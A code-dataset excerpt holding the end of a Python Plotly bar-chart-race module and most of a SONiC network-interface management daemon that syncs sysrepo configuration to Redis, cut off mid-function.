bar_colors.shape[1] == 3 and (bar_colors <= 1).all(): bar_colors = pd.DataFrame(bar_colors).astype('str') bar_colors = bar_colors.apply(lambda x: ','.join(x), axis = 1) bar_colors = ('rgb(' + bar_colors + ')').values if not self.filter_column_colors: if not self.col_filt.all(): col_idx = np.where(self.col_filt)[0] % n col_idx_ct = np.bincount(col_idx, minlength=n) num_cols = max(self.col_filt.sum(), n) exp_ct = np.bincount(np.arange(num_cols) % n, minlength=n) if (col_idx_ct > exp_ct).any(): warnings.warn("Some of your columns never make an appearance in the animation. " "To reduce color repetition, set `filter_column_colors` to `True`") return bar_colors def set_fixed_max_limits(self): label_limit = (.2, self.n_bars + .8) value_limit = None min_val = 1 if self.scale == 'log' else 0 if self.fixed_max: value_limit = [min_val, self.df_values.max().max() * 1.1] if self.orientation == 'h': self.xlimit = value_limit self.ylimit = label_limit else: self.xlimit = label_limit self.ylimit = value_limit def set_value_limit(self, bar_vals): min_val = 1 if self.scale == 'log' else 0 if not self.fixed_max: value_limit = [min_val, bar_vals.max() * 1.1] if self.orientation == 'h': self.xlimit = value_limit else: self.ylimit = value_limit def get_frames(self): frames = [] slider_steps = [] for i in range(len(self.df_values)): bar_locs = self.df_ranks.iloc[i].values top_filt = (bar_locs >= 0) & (bar_locs < self.n_bars + 1) bar_vals = self.df_values.iloc[i].values bar_vals[bar_locs == 0] = 0 bar_vals[bar_locs == self.n_bars + 1] = 0 # self.set_value_limit(bar_vals) # plotly bug? not updating range cols = self.df_values.columns.values.copy() cols[bar_locs == 0] = ' ' colors = self.bar_colors bar_locs = bar_locs + np.random.rand(len(bar_locs)) / 10_000 # done to prevent stacking of bars x, y = (bar_vals, bar_locs) if self.orientation == 'h' else (bar_locs, bar_vals) label_axis = dict(tickmode='array', tickvals=bar_locs, ticktext=cols, tickfont=self.tick_label_font) label_axis['range'] = self.ylimit if self.orientation == 'h' else self.xlimit if self.orientation == 'v': label_axis['tickangle'] = -90 value_axis = dict(showgrid=True, type=self.scale)#, tickformat=',.0f') value_axis['range'] = self.xlimit if self.orientation == 'h' else self.ylimit bar = go.Bar(x=x, y=y, width=self.bar_size, textposition=self.bar_textposition, texttemplate=self.bar_texttemplate, orientation=self.orientation, marker_color=colors, insidetextfont=self.bar_label_font, cliponaxis=False, outsidetextfont=self.bar_label_font, hovertemplate=self.hovertemplate, **self.bar_kwargs) data = [bar] xaxis, yaxis = (value_axis, label_axis) if self.orientation == 'h' \ else (label_axis, value_axis) annotations = self.get_annotations(i) if self.slider and i % self.steps_per_period == 0: slider_steps.append( {"args": [[i], {"frame": {"duration": self.duration, "redraw": False}, "mode": "immediate", "fromcurrent": True, "transition": {"duration": self.duration} }], "label": self.get_period_label_text(i), "method": "animate"}) layout = go.Layout(xaxis=xaxis, yaxis=yaxis, annotations=annotations, margin={'l': 150}, **self.layout_kwargs) if self.perpendicular_bar_func: pbar = self.get_perpendicular_bar(bar_vals, i, layout) layout.update(shapes=[pbar], overwrite=True) frames.append(go.Frame(data=data, layout=layout, name=i)) return frames, slider_steps def get_period_label_text(self, i): if self.period_template: idx_val = self.df_values.index[i] if self.df_values.index.dtype.kind == 'M': s = idx_val.strftime(self.period_template) else: s = self.period_template.format(x=idx_val) else: s = self.str_index[i] return s def get_annotations(self, i): annotations = [] if self.period_label: self.period_label['text'] = self.get_period_label_text(i) annotations.append(self.period_label) if self.period_summary_func: values = self.df_values.iloc[i] ranks = self.df_ranks.iloc[i] text_dict = self.period_summary_func(values, ranks) if 'x' not in text_dict or 'y' not in text_dict or 'text' not in text_dict: name = self.period_summary_func.__name__ raise ValueError(f'The dictionary returned from `{name}` must contain ' '"x", "y", and "s"') text, x, y = text_dict['text'], text_dict['x'], text_dict['y'] annotations.append(dict(text=text, x=x, y=y, font=dict(size=14), xref="paper", yref="paper", showarrow=False)) return annotations def get_perpendicular_bar(self, bar_vals, i, layout): if isinstance(self.perpendicular_bar_func, str): val = pd.Series(bar_vals).agg(self.perpendicular_bar_func) else: values = self.df_values.iloc[i] ranks = self.df_ranks.iloc[i] val = self.perpendicular_bar_func(values, ranks) xref, yref = ("x", "paper") if self.orientation == 'h' else ("paper", "y") value_limit = self.xlimit if self.orientation == 'h' else self.ylimit if self.fixed_max: delta = (value_limit[1] - value_limit[0]) * .02 else: delta = (1.05 * bar_vals.max() - bar_vals.min()) * .02 x0, x1 = (val - delta, val + delta) if self.orientation == 'h' else (0, 1) y0, y1 = (val - delta, val + delta) if self.orientation == 'v' else (0, 1) return dict(type="rect", xref=xref, yref=yref, x0=x0, y0=y0, x1=x1, y1=y1, fillcolor="#444444",layer="below", opacity=.5, line_width=0) def make_animation(self): frames, slider_steps = self.get_frames() data = frames[0].data layout = frames[0].layout layout.title = self.title layout.updatemenus = [dict( type="buttons", direction = "left", x=1, y=1.02, xanchor='right', yanchor='bottom', buttons=[dict(label="Play", method="animate", # redraw must be true for bar plots args=[None, {"frame": {"duration": self.duration, "redraw": True}, "fromcurrent": True }]), dict(label="Pause", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False}, "mode": "immediate", "transition": {"duration": 0}}]), ] )] sliders_dict = { "active": 0, "yanchor": "top", "xanchor": "left", "currentvalue": { # "font": {"size": 20}, # "prefix": '', # allow user to set "visible": False, # just repeats period label # "xanchor": "right" }, "transition": {"duration": self.duration, "easing": "cubic-in-out"}, "pad": {"b": 10, "t": 50}, "len": 0.88, "x": 0.05, "y": 0, "steps": slider_steps } if self.slider: layout.sliders = [sliders_dict] fig = go.Figure(data=data, layout=layout, frames=frames[1:]) if self.filename: fig.write_html(self.filename, **self.write_html_kwargs) else: return fig def bar_chart_race_plotly(df, filename=None, orientation='h', sort='desc', n_bars=None, fixed_order=False, fixed_max=False, steps_per_period=10, period_length=500, end_period_pause=0, interpolate_period=False, period_label=True, period_template=None, period_summary_func=None, perpendicular_bar_func=None, colors=None, title=None, bar_size=.95, bar_textposition='outside', bar_texttemplate=None, bar_label_font=None, tick_label_font=None, hovertemplate=None, slider=True, scale='linear', bar_kwargs=None, layout_kwargs=None, write_html_kwargs=None, filter_column_colors=False): ''' Create an animated bar chart race using Plotly. Data must be in 'wide' format where each row represents a single time period and each column represents a distinct category. Optionally, the index can label the time period. Bar length and location change linearly from one time period to the next. Note - The duration of each frame is calculated as `period_length` / `steps_per_period`, but is unlikely to actually be this number, especially when duration is low (< 50ms). You may have to experiment with different combinations of `period_length` and `steps_per_period` to get the animation at the desired speed. If no `filename` is given, a plotly figure is returned that is embedded into the notebook. Parameters ---------- df : pandas DataFrame Must be a 'wide' DataFrame where each row represents a single period of time. Each column contains the values of the bars for that category. Optionally, use the index to label each time period. The index can be of any type. filename : `None` or str, default None If `None` return plotly animation, otherwise save to disk. Can only save as HTML at this time. orientation : 'h' or 'v', default 'h' Bar orientation - horizontal or vertical sort : 'desc' or 'asc', default 'desc' Choose how to sort the bars. Use 'desc' to put largest bars on top and 'asc' to place largest bars on bottom. n_bars : int, default None Choose the maximum number of bars to display on the graph. By default, use all bars. New bars entering the race will appear from the edge of the axes. fixed_order : bool or list, default False When `False`, bar order changes every time period to correspond with `sort`. When `True`, bars remained fixed according to their final value corresponding with `sort`. Otherwise, provide a list of the exact order of the categories for the entire duration. fixed_max : bool, default False Whether to fix the maximum value of the axis containing the values. When `False`, the axis for the values will have its maximum (x/y) just after the largest bar of the current time period. The axis maximum will change along with the data. When True, the maximum axis value will remain constant for the duration of the animation. For example, in a horizontal bar chart, if the largest bar has a value of 100 for the first time period and 10,000 for the last time period. The xlim maximum will be 10,000 for each frame. steps_per_period : int, default 10 The number of steps to go from one time period to the next. The bars will grow linearly between each period. period_length : int, default 500 Number of milliseconds to animate each period (row). Default is 500ms (half of a second) end_period_pause : int, default 0 Number of milliseconds to pause the animation at the end of each period. interpolate_period : bool, default `False` Whether to interpolate the period. Only valid for datetime or numeric indexes. When set to `True`, for example, the two consecutive periods 2020-03-29 and 2020-03-30 with `steps_per_period` set to 4 would yield a new index of 2020-03-29 00:00:00 2020-03-29 06:00:00 2020-03-29 12:00:00 2020-03-29 18:00:00 2020-03-30 00:00:00 period_label : bool or dict, default `True` If `True` or dict, use the index as a large text label on the figure labeling each period. No label when 'False'. Use a dictionary to supply the exact position of the period along with any valid parameters of a plotly annotation. Example: { 'x': .99, 'y': .8, 'font' : {'family': 'Helvetica', 'size': 20, 'color': 'orange'}, 'xanchor': 'right', } Reference - https://plotly.com/python/reference/#layout-annotations The default location depends on `orientation` and `sort` * h, desc -> x=.95, y=.15 * h, asc -> x=.95, y=.85 * v, desc -> x=.95, y=.85 * v, asc -> x=.05, y=.85 period_template : str, default `None` Either a string with date directives or a new-style (Python 3.6+) formatted string For a string with a date directive, find the complete list here https://docs.python.org/3/library/datetime.html#strftime-and-strptime-format-codes Example of string with date directives '%B %d, %Y' Will change 2020/03/29 to March 29, 2020 For new-style formatted string. Use curly braces and the variable `x`, which will be passed the current period's index value. Example: 'Period {x:10.2f}' Date directives will only be used for datetime indexes. period_summary_func : function, default None Custom text added to the axes each period. Create a user-defined function that accepts two pandas Series of the current time period's values and ranks. It must return a dictionary containing at a minimum the keys "x", "y", and "text" which will be passed used for a plotly annotation. Example: def func(values, ranks): total = values.sum() text = f'Worldwide deaths: {total}' return {'x': .85, 'y': .2, 'text': text, 'size': 11} perpendicular_bar_func : function or str, default None Creates a single bar perpendicular to the main bars that spans the length of the axis. Use either a string that the DataFrame `agg` method understands or a user-defined function. DataFrame strings - 'mean', 'median', 'max', 'min', etc.. The function is passed two pandas Series of the current time period's data and ranks. It must return a single value. def func(values, ranks): return values.quantile(.75) colors : str or sequence colors, default 'dark12' Colors to be used for the bars. All matplotlib and plotly colormaps are available by string name. Colors will repeat if there are more bars than colors. 'dark12' is the default colormap. If there are more than 10 columns, then the default colormap will be 'dark24' Append "_r" to the colormap name to use the reverse of the colormap. i.e. "dark12_r" title : str, dict, or plotly.graph_objects.layout.Title , default None Title of animation. Use a string for simple titles or a dictionary to specify several properties {'text': 'My Bar Chart Race', 'x':0.5, 'y':.9, 'xanchor': 'center', 'yanchor': 'bottom'} Other properties include: font, pad, xref, yref bar_size : float, default .95 Height/width of bars for horizontal/vertical bar charts. Use a number between 0 and 1 Represents the fraction of space that each bar takes up. When equal to 1, no gap remains between the bars. bar_textposition : str or sequence, default `None` Position on bar to place its label. Use one of the strings - 'inside', 'outside', 'auto', 'none' or a sequence of the above bar_texttemplate : str, default '%{x:,.0f}' or '%{y:,.0f}' Template string used for rendering the text inside/outside the bars. Variables are inserted using %{variable}, for example "y: %{y}". Numbers are formatted using d3-format's syntax %{variable:d3-format}, for example "Price: %{y:$.2f}". bar_label_font : number or dict, None Font size of numeric bar labels. When None, font size is 12. Use a dictionary to supply several font properties. Example: { 'size': 12, 'family': 'Courier New, monospace', 'color': '#7f7f7f' } tick_label_font : number or dict, None Font size of tick labels.When None, font size is 12. Use a dictionary to supply several font properties. hovertemplate : str, default None Template string used for rendering the information that appear on hover box. By default, it is '%{y} - %{x:,.0f}<extra></extra>' Reference: https://plotly.com/python/hover-text-and-formatting slider : bool, default True Whether or not to place a slider below the animation scale : 'linear' or 'log', default 'linear' Type of scaling to use for the axis containing the values bar_kwargs : dict, default `None` (opacity=.8) Other keyword arguments (within a dictionary) forwarded to the plotly `go.Bar` function. If no value for 'opacity' is given, then it is set to .8 by default. layout_kwargs : dict or go.Layout instance, default None Other keyword arguments (within a dictionary) are forwarded to the plotly `go.Layout` function. Use this to control the size of the figure. Example: { 'width': 600, 'height': 400, 'showlegend': True } write_html_kwargs : dict, default None Arguments passed to the write_html plotly go.Figure method. Example: { 'auto_play': False, 'include_plotlyjs': 'cdn', 'full_html': False= } Reference: https://plotly.github.io/plotly.py-docs/generated/plotly.io.write_html.html filter_column_colors : bool, default `False` When setting n_bars, it's possible that some columns never appear in the animation. Regardless, all columns get assigned a color by default. For instance, suppose you have 100 columns in your DataFrame, set n_bars to 10, and 15 different columns make at least one appearance in the animation. Even if your colormap has at least 15 colors, it's possible that many bars will be the same color, since each of the 100 columns is assigned of the colormaps colors. Setting this to `True` will map your colormap to just those columns that make an appearance in the animation, helping avoid duplication of colors. Setting this to `True` will also have the (possibly unintended) consequence of changing the colors of each color every time a new integer for n_bars is used. EXPERIMENTAL This parameter is experimental and may be changed/removed in a later version. Returns ------- When `filename` is left as `None`, a plotly figure is returned and embedded into the notebook. Otherwise, a file of the HTML is saved and `None` is returned. References ----- Plotly Figure - https://plotly.com/python/reference Plotly API - https://plotly.com/python-api-reference d3 formatting - https://github.com/d3/d3-3.x-api-reference/blob/master/Formatting.md Examples -------- Use the `load_data` function to get an example dataset to create an animation. df = bcr.load_dataset('covid19') bcr.bar_chart_race( df=df, filename='covid19_horiz_desc.html', orientation='h', sort='desc', n_bars=8, fixed_order=False, fixed_max=True, steps_per_period=10, period_length=500, interpolate_period=False, period_label={'x': .99, 'y': .8, 'font': {'size': 25, 'color': 'blue'}}, period_template='%B %d, %Y', period_summary_func=lambda v, r: {'x': .85, 'y': .2, 's': f'Total deaths: {v.sum()}', 'size': 11}, perpendicular_bar_func='median', colors='dark12', title='COVID-19 Deaths by Country', bar_size=.95, bar_textposition='outside', bar_texttemplate='%{x}', bar_label_font=12, tick_label_font=12, hovertemplate=None, scale='linear', bar_kwargs={'opacity': .7}, write_html_kwargs=None, filter_column_colors=False) ''' bcr = _BarChartRace(df, filename, orientation, sort, n_bars, fixed_order, fixed_max, steps_per_period, period_length, end_period_pause, interpolate_period, period_label, period_template, period_summary_func, perpendicular_bar_func, colors, title, bar_size, bar_textposition, bar_texttemplate, bar_label_font, tick_label_font, hovertemplate, slider, scale, bar_kwargs, layout_kwargs, write_html_kwargs, filter_column_colors) return bcr.make_animation()

5b5a19f112108097df97f1bf855457ee610e3f9a

py

Python

src/south/sonic/gssonic/main.py

palcnetworks/goldstone-mgmt

4008ff691f3c5e38b2d53c122bace483b0235e55

2021-03-29T14:20:14.000Z

2021-03-29T14:20:14.000Z

src/south/sonic/gssonic/main.py

palcnetworks/goldstone-mgmt

4008ff691f3c5e38b2d53c122bace483b0235e55

2020-07-17T16:00:45.000Z

2020-09-09T20:40:33.000Z

src/south/sonic/gssonic/main.py

palcnetworks/goldstone-mgmt

4008ff691f3c5e38b2d53c122bace483b0235e55

2020-07-12T14:48:08.000Z

2021-03-31T07:02:14.000Z

import sysrepo import libyang import logging import asyncio import argparse import json import signal import struct import base64 import swsssdk import re import redis import os from .k8s_api import incluster_apis logger = logging.getLogger(__name__) COUNTER_PORT_MAP = "COUNTERS_PORT_NAME_MAP" COUNTER_TABLE_PREFIX = "COUNTERS:" REDIS_SERVICE_HOST = os.getenv("REDIS_SERVICE_HOST") REDIS_SERVICE_PORT = os.getenv("REDIS_SERVICE_PORT") def _decode(string): if hasattr(string, "decode"): return string.decode("utf-8") return string def yang_val_to_speed(yang_val): yang_val = yang_val.split("_") return int(yang_val[1].split("GB")[0]) def speed_to_yang_val(speed): # Considering only speeds supported in CLI if speed == b"25000": return "SPEED_25GB" elif speed == b"50000": return "SPEED_50GB" elif speed == b"100000": return "SPEED_100GB" elif speed == b"10000": return "SPEED_10GB" elif speed == b"1000": return "SPEED_1GB" raise sysrepo.SysrepoInvalArgError(f"unsupported speed: {speed}") class Server(object): def __init__(self): self.sonic_db = swsssdk.SonicV2Connector() # HMSET is not available in above connector, so creating new one self.sonic_configdb = swsssdk.ConfigDBConnector() self.sonic_configdb.connect() self.loop = asyncio.get_event_loop() self.conn = sysrepo.SysrepoConnection() self.sess = self.conn.start_session() self.is_usonic_rebooting = False self.k8s = incluster_apis() self.counter_dict = { "SAI_PORT_STAT_IF_IN_UCAST_PKTS": 0, "SAI_PORT_STAT_IF_IN_ERRORS": 0, "SAI_PORT_STAT_IF_IN_DISCARDS": 0, "SAI_PORT_STAT_IF_IN_BROADCAST_PKTS": 0, "SAI_PORT_STAT_IF_IN_MULTICAST_PKTS": 0, "SAI_PORT_STAT_IF_IN_UNKNOWN_PROTOS": 0, "SAI_PORT_STAT_IF_OUT_UCAST_PKTS": 0, "SAI_PORT_STAT_IF_OUT_ERRORS": 0, "SAI_PORT_STAT_IF_OUT_DISCARDS": 0, "SAI_PORT_STAT_IF_OUT_BROADCAST_PKTS": 0, "SAI_PORT_STAT_IF_OUT_MULTICAST_PKTS": 0, "SAI_PORT_STAT_IF_OUT_UNKNOWN_PROTOS": 0, "SAI_PORT_STAT_IF_IN_OCTETS": 0, "SAI_PORT_STAT_IF_OUT_OCTETS": 0, } self.counter_if_dict = {} self.notif_if = {} self.mtu_default = self.get_default_from_yang("mtu") self.speed_default = "100000" def stop(self): self.sess.stop() self.conn.disconnect() def get_default_from_yang(self, key): ctx = self.sess.get_ly_ctx() xpath = "/goldstone-interfaces:interfaces" xpath += "/goldstone-interfaces:interface" if key == "mtu": xpath += "/goldstone-ip:ipv4" xpath += "/goldstone-ip:mtu" for node in ctx.find_path(xpath): return node.default() def get_config_db_keys(self, pattern): keys = self.sonic_db.keys(self.sonic_db.CONFIG_DB, pattern=pattern) return map(_decode, keys) if keys else [] def set_config_db(self, event, _hash, key, value): if event != "done": return return self.sonic_db.set(self.sonic_db.CONFIG_DB, _hash, key, value) async def restart_usonic(self): self.is_usonic_rebooting = True await self.k8s.restart_usonic() async def watch_pods(self): await self.k8s.watch_pods() logger.debug("uSONiC deployment ready") # Enable counters in SONiC self.enable_counters() # After usonic is UP , its taking approximately # 15 seconds to populate counter data logger.debug("waiting another 15 seconds for counters") await asyncio.sleep(15) # Caching base values of counters self.cache_counters() logger.info("uSONiC ready") async def wait_for_sr_unlock(self): # Since is_locked() is returning False always, # Waiting to take lock while True: try: with self.sess.lock("goldstone-interfaces"): with self.sess.lock("goldstone-vlan"): break except: # If taking lock fails await asyncio.sleep(0.1) continue # Release lock and return return def parse_change_req(self, xpath): xpath = xpath.split("/") _hash = "" key = "" member = "" attr_dict = {"xpath": xpath} for i in range(len(xpath)): node = xpath[i] if node.find("interface") == 0: ifname = node.split("'")[1] intf_names = self.sonic_db.keys( self.sonic_db.CONFIG_DB, pattern="PORT|" + ifname ) if intf_names == None: logger.debug( "*************** Invalid Interface name ****************" ) raise sysrepo.SysrepoInvalArgError("Invalid Interface name") attr_dict.update({"ifname": ifname}) _hash = _hash + "PORT|" + ifname if i + 1 < len(xpath): key = xpath[i + 1] if key == "goldstone-ip:ipv4" and i + 2 < len(xpath): key = xpath[i + 2] if key == "breakout" and i + 2 < len(xpath): key = xpath[i + 2] break if node.find("VLAN_LIST") == 0: _hash = _hash + "VLAN|" + node.split("'")[1] if i + 1 < len(xpath): if xpath[i + 1].find("members") == 0 and xpath[i + 1] != "members": key = "members@" member = xpath[i + 1].split("'")[1] elif xpath[i + 1] == "members": key = "members@" else: key = xpath[i + 1] attr_dict.update({"member": member}) break if node.find("VLAN_MEMBER_LIST") == 0: _hash = ( _hash + "VLAN_MEMBER|" + node.split("'")[1] + "|" + node.split("'")[3] ) if i + 1 < len(xpath): key = xpath[i + 1] break return key, _hash, attr_dict async def breakout_callback(self): self.sess.switch_datastore("running") await self.wait_for_sr_unlock() with self.sess.lock("goldstone-interfaces"): with self.sess.lock("goldstone-vlan"): await self.watch_pods() self.reconcile() self.update_oper_db() self.is_usonic_rebooting = False self.sess.switch_datastore("running") async def breakout_update_usonic(self, breakout_dict): logger.debug("Starting to Update usonic's configMap and deployment") interface_list = [] self.sess.switch_datastore("running") # Frame interface_list with data available in sysrepo intf_data = self.sess.get_data("/goldstone-interfaces:interfaces") if "interfaces" in intf_data: intf_list = intf_data["interfaces"]["interface"] for intf in intf_list: ifname = intf["name"] # Prioirty for adding interfaces in interface_list: # # 1. Preference will be for the data received as arguments # as this data will not be commited in sysrepo yet. # 2. Interfaces present in datastore with already configured # breakout data or without breakout data if ifname in breakout_dict: speed = None breakout_data = breakout_dict[ifname] if breakout_data["channel-speed"] != None: speed = yang_val_to_speed(breakout_data["channel-speed"]) interface_list.append( [ifname, breakout_data["num-channels"], speed] ) else: if "breakout" in intf: breakout_data = intf["breakout"] speed = None if breakout_data["channel-speed"] != None: speed = yang_val_to_speed(breakout_data["channel-speed"]) interface_list.append( [ifname, breakout_data["num-channels"], speed] ) else: interface_list.append([ifname, None, None]) is_updated = await self.k8s.update_usonic_config(interface_list) # Restart deployment if configmap update is successful if is_updated: await self.restart_usonic() return is_updated def get_running_data(self, xpath): self.sess.switch_datastore("running") return self.sess.get_data(xpath) def is_breakout_port(self, ifname): xpath = f"/goldstone-interfaces:interfaces/interface[name='{ifname}']" self.sess.switch_datastore("operational") data = self.sess.get_data(xpath, no_subs=True) try: logger.debug(f"data: {data}") data = data["interfaces"]["interface"][ifname]["breakout"] if data.get("num-channels", 1) > 1 or "parent" in data: return True except KeyError: return False return False def get_configured_breakout_ports(self, ifname): xpath = f"/goldstone-interfaces:interfaces/interface" self.sess.switch_datastore("operational") data = self.sess.get_data(xpath, no_subs=True) logger.debug(f"get_configured_breakout_ports: {ifname}, {data}") ports = [] for intf in data.get("interfaces", {}).get("interface", []): try: if intf["breakout"]["parent"] == ifname: name = intf["name"] d = self.get_running_data(f"{xpath}[name='{name}']") logger.debug(f"get_configured_breakout_ports: {name}, {d}") ports.append(intf["name"]) except (sysrepo.errors.SysrepoNotFoundError, KeyError): pass logger.debug(f"get_configured_breakout_ports: ports: {ports}") return ports def vlan_change_cb(self, event, req_id, changes, priv): logger.debug(f"event: {event}, changes: {changes}") if event not in ["change", "done"]: logger.warn("unsupported event: {event}") return for change in changes: key, _hash, attr_dict = self.parse_change_req(change.xpath) if "member" in attr_dict: member = attr_dict["member"] logger.debug(f"key: {key}, _hash: {_hash}, attr_dict: {attr_dict}") if isinstance(change, sysrepo.ChangeCreated): logger.debug(f"change created: {change}") if type(change.value) != type({}) and key != "name" and key != "ifname": if key == "members@": try: mem = _decode( self.sonic_db.get(self.sonic_db.CONFIG_DB, _hash, key) ) mem_list = mem.split(",") if change.value not in mem_list: mem + "," + str(change.value) self.set_config_db(event, _hash, key, mem) except: self.set_config_db(event, _hash, key, change.value) else: self.set_config_db(event, _hash, key, change.value) if isinstance(change, sysrepo.ChangeModified): logger.debug(f"change modified: {change}") raise sysrepo.SysrepoUnsupportedError("Modification is not supported") if isinstance(change, sysrepo.ChangeDeleted): logger.debug(f"change deleted: {change}") if key == "members@": mem = _decode( self.sonic_db.get(self.sonic_db.CONFIG_DB, _hash, key) ) if mem != None: mem = mem.split(",") if member in mem: mem.remove(member) if len(mem) >= 1: value = ",".join(mem) self.set_config_db(event, _hash, key, value) elif _hash.find("VLAN|") == 0 and key == "": if event == "done": self.sonic_db.delete(self.sonic_db.CONFIG_DB, _hash) elif _hash.find("VLAN_MEMBER|") == 0 and key == "": if event == "done": self.sonic_db.delete(self.sonic_db.CONFIG_DB, _hash) async def intf_change_cb(self, event, req_id, changes, priv): logger.debug(f"change_cb: event: {event}, changes: {changes}") if event not in ["change", "done"]: logger.warn("unsupported event: {event}") return valid_speeds = [40000, 100000] breakout_valid_speeds = [] # no speed change allowed for sub-interfaces for change in changes: logger.debug(f"change_cb: {change}") key, _hash, attr_dict = self.parse_change_req(change.xpath) if "ifname" in attr_dict: ifname = attr_dict["ifname"] logger.debug(f"key: {key}, _hash: {_hash}, attr_dict: {attr_dict}") if isinstance(change, sysrepo.ChangeCreated): logger.debug("......change created......") if type(change.value) != type({}) and key != "name" and key != "ifname": if key == "description" or key == "alias": self.set_config_db(event, _hash, key, change.value) elif key == "admin-status": self.set_config_db(event, _hash, "admin_status", change.value) elif key == "speed": if event == "change": ifname = attr_dict["ifname"] if self.is_breakout_port(ifname): valids = breakout_valid_speeds else: valids = valid_speeds if change.value not in valids: logger.debug( f"invalid speed: {change.value}, candidates: {valids}" ) raise sysrepo.SysrepoInvalArgError("Invalid speed") self.set_config_db(event, _hash, "speed", change.value) elif key == "forwarding" or key == "enabled": logger.debug( "This key:{} should not be set in redis ".format(key) ) elif key == "num-channels" or key == "channel-speed": logger.debug( "This key:{} should not be set in redis ".format(key) ) # TODO use the parent leaf to detect if this is a sub-interface or not # using "_1" is vulnerable to the interface nameing schema change if "_1" not in ifname: raise sysrepo.SysrepoInvalArgError( "breakout cannot be configured on a sub-interface" ) paired_key = ( "num-channels" if key == "channel-speed" else "channel-speed" ) tmp_xpath = change.xpath.replace(key, paired_key) try: _data = self.get_running_data(tmp_xpath) except: logger.debug("Both Arguments are not present yet") break try: if_list = _data["interfaces"]["interface"] for intf in if_list: paired_value = intf["breakout"][paired_key] except KeyError: logging.error( f"Failed fetching {paired_key} from get_data for breakout" ) break # We will wait for both the parameters of breakout in yang to be # configured on the parent interface. # # Once configuration is done, we will update the configmap and # deployment in breakout_update_usonic() function. # After the update, we will watch asynchronosly in watch_pods() # for the `usonic` deployment to be UP. # # Once `usonic` deployment is UP, another asynchronous call breakout_callback() # will do the following: # 1. Delete all the sub-interfaces created in operational datastore (during # breakout delete operation) # 2. Reconciliation will be run to populate Redis DB(from running datastore) # and coresponding data in operational datastore (during breakout config, # new sub-interfaces will be added in operational datastore in this step) logger.info( "Both Arguments are present for breakout {} {}".format( change.value, paired_value ) ) breakout_dict = { ifname: {key: change.value, paired_key: paired_value} } if event == "done": is_updated = await self.breakout_update_usonic( breakout_dict ) if is_updated: asyncio.create_task(self.breakout_callback()) else: self.set_config_db(event, _hash, key, change.value) if isinstance(change, sysrepo.ChangeModified): logger.debug("......change modified......") if key == "description" or key == "alias": self.set_config_db(event, _hash, key, change.value) elif key == "admin-status": self.set_config_db(event, _hash, "admin_status", change.value) elif key == "forwarding" or key == "enabled": logger.debug("This key:{} should not be set in redis ".format(key)) elif key == "speed": if event == "change": if self.is_breakout_port(ifname): valids = breakout_valid_speeds else: valids = valid_speeds if change.value not in valids: logger.debug("****** Invalid speed value *********") raise sysrepo.SysrepoInvalArgError("Invalid speed") self.set_config_db(event, _hash, "speed", change.value) elif key == "num-channels" or key == "channel-speed": logger.debug("This key:{} should not be set in redis ".format(key)) raise sysrepo.SysrepoInvalArgError( "Breakout config modification not supported" ) else: self.set_config_db(event, _hash, key, change.value) if isinstance(change, sysrepo.ChangeDeleted): logger.debug("......change deleted......") if key in ["channel-speed", "num-channels"]: if event == "change": if len(self.get_configured_breakout_ports(ifname)): raise sysrepo.SysrepoInvalArgError( "Breakout can't be removed due to the dependencies" ) continue assert event == "done" # change.xpath is # /goldstone-interfaces:interfaces/interface[name='xxx']/breakout/channel-speed # or # /goldstone-interfaces:interfaces/interface[name='xxx']/breakout/num-channels # # set xpath to /goldstone-interfaces:interfaces/interface[name='xxx']/breakout xpath = "/".join(change.xpath.split("/")[:-1]) try: data = self.get_running_data(xpath) except sysrepo.errors.SysrepoNotFoundError: ch = None speed = None else: if_list = data["interfaces"]["interface"] assert len(if_list) == 1 intf = list(if_list)[0] config = intf.get("breakout", {}) ch = config.get("num-channels", None) speed = config.get("channel-speed", None) # if both channel and speed configuration are deleted # remove the breakout config from uSONiC if ch != None or speed != None: logger.debug( "breakout config still exists: ch: {ch}, speed: {speed}" ) continue breakout_dict = { ifname: {"num-channels": None, "channel-speed": None} } is_updated = await self.breakout_update_usonic(breakout_dict) if is_updated: asyncio.create_task(self.breakout_callback()) elif key in ["mtu", "speed"]: if event == "done": if key == "mtu": value = self.mtu_default elif key == "speed": value = self.speed_default logger.debug(f"adding default value of {key} to redis") self.pack_defaults_to_redis(ifname=ifname, leaf_node=key) self.update_oper_db() elif "PORT|" in _hash and key == "": if event == "done": # since sysrepo wipes out the pushed entry in oper ds # when the corresponding entry in running ds is deleted, # we need to repopulate the oper ds. # # this behavior might change in the future # https://github.com/sysrepo/sysrepo/issues/1937#issuecomment-742851607 self.update_oper_db() def get_counter(self, ifname, counter): if ifname not in self.counter_if_dict: return 0 base = self.counter_if_dict[ifname].get(counter, 0) key = _decode( self.sonic_db.get(self.sonic_db.COUNTERS_DB, COUNTER_PORT_MAP, ifname) ) try: key = "COUNTERS:" + key present = _decode( self.sonic_db.get(self.sonic_db.COUNTERS_DB, key, counter) ) except: return 0 if base and present: return int(present) - int(base) return 0 def get_oper_data(self, req_xpath): def delta_counter_value(base, present): if base and present: return int(present) - int(base) else: return 0 path_prefix = "/goldstone-interfaces:interfaces/interface[name='" if req_xpath.endswith("oper-status"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/oper-status", "") key = ifname.replace("Ethernet", "PORT_TABLE:Ethernet") data = _decode(self.sonic_db.get(self.sonic_db.APPL_DB, key, "oper_status")) return data elif req_xpath.endswith("in-octets"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-octets", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_OCTETS") elif req_xpath.endswith("in-unicast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-unicast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_UCAST_PKTS") elif req_xpath.endswith("in-broadcast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-broadcast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_BROADCAST_PKTS") elif req_xpath.endswith("in-multicast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-multicast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_MULTICAST_PKTS") elif req_xpath.endswith("in-discards"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-discards", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_DISCARDS") elif req_xpath.endswith("in-errors"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-errors", "") return 